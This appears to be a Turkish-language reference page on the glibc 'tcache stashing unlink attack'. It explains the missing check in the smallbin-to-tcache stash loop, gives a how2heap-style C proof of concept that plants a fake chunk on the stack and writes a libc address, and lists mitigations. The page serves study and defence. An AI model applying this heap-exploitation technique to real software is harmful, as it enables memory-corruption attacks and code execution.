tcache stashing unlink attack¶
callocartakalan smallbin chunk'larını tcache'e istiflediğinde, kontrolsüz stash döngüsü corrupt edilmiş birbküzerinden bir libc adresi yazar ve sonraki birmalloc'un bir fake chunk döndürmesine izin verir.
Mechanism¶
Suistimal edilen invariant: smallbin→tcache stash döngüsü bck->fd != victim kontrolünü atlar
Küçük bir istek bir smallbin'den karşılandığında, glibc kuyruk chunk'ını bir doğrulama ile unlink eder, sonra fırsatçı biçimde kalan aynı-size chunk'ları tcache'e istifler. İlk unlink kontrol edilir:
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
bin->bk = bck;
bck->fd = bin;
ama ardından gelen stash döngüsü, bck->fd == victim'ı yeniden kontrol
etmeden aynı bin->bk = bck; bck->fd = bin; pointer cerrahisini tekrar eder:
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
bck = tc_victim->bk;
...
bin->bk = bck;
bck->fd = bin; /* <-- writes a libc addr to bck->fd */
tcache_put (tc_victim, tc_idx);
}
İstiflenmiş bir chunk'ın bk'sını bir fake chunk'ı gösterecek şekilde
overwrite ederek, döngü bin'i (bir libc/main_arena adresi) fake->fd'ye
yazar ve fake chunk bin'e tcache_put edilir. O size'ın sonraki bir
malloc'u ardından fake chunk'ı döndürür (örneğin stack'te). calloc,
tetiklemek için kullanılır: alloc'ta tcache fast path'ini bypass eder ve
doğrudan smallbin'e gider, stash döngüsünü çağırır. Fake'in önceden ayarlanmış
bk'sı yazılabilir bir adresi göstermeli ki bck->fd = bin write'ı yasal olsun.
Walkthrough¶
Referans: shellphish how2heap tcache_stashing_unlink_attack.c
(glibc 2.27, 2.29, 2.31'de test edildi).
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};
// fake_chunk->bk = &stack_var[2] : a writable addr to satisfy bck->fd = bin
stack_var[3] = (unsigned long)(&stack_var[2]);
for (int i = 0; i < 9; i++) chunk_lis[i] = malloc(0x90); // 9 chunks
for (int i = 3; i < 9; i++) free(chunk_lis[i]); // fill tcache (chunks 3..8)
free(chunk_lis[1]); // last tcache slot
free(chunk_lis[0]); // -> unsorted bin
free(chunk_lis[2]); // -> unsorted bin (no merge)
malloc(0xa0); // size > 0x90: sorts chunk0 & chunk2 into a smallbin
malloc(0x90); // make room: now 5 tcache bins + 2 small bins
malloc(0x90);
// VULNERABILITY: overwrite victim (chunk2)->bk to the fake chunk
chunk_lis[2][1] = (unsigned long)stack_var;
calloc(1, 0x90); // triggers stash: writes libc addr to stack_var[4]
// and links the fake chunk into tcache[0x90]
unsigned long *target = malloc(0x90); // returns the fake chunk on the stack
assert(target == &stack_var[2]);
Beklenen çıktı:
...
Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now
point to next free chunk: 0x... and the bck->fd has been changed into a libc
addr: 0x7f........
As you can see, next malloc(0x90) will return the region our fake chunk: 0x7ffe........
Tek tetiklemede iki etki
Saldırı hem (a) fake->fd'ye (stack_var[4]) bir libc adresi yazar —
bilinen bir değerin arbitrary write'ı — hem de (b) sonraki bir arbitrary
allocation için tcache'e bir fake chunk yerleştirir. Fake'in bk'sı
(stack_var[3]) yazılabilir bir adres olmalı yoksa bck->fd = bin store'u segfault verir.
Mitigation¶
- glibc 2.32+ smallbin partial-unlink kontrolünü ve daha geniş hardening'i ekler, ama stash döngüsünün eksik karşılıklı kontrolü temel kusurdur; attacker'ın kontrol ettiği chunk'ları smallbin'lerden uzak tutan layout'lar kurulumu önler.
- Attacker'ın etkilediği size'larda
callocgüdümlü smallbin yollarından kaçın; teknik,calloc'un stash döngüsüne ulaşmak için alloc tarafındaki tcache'i atlamasına bağlıdır.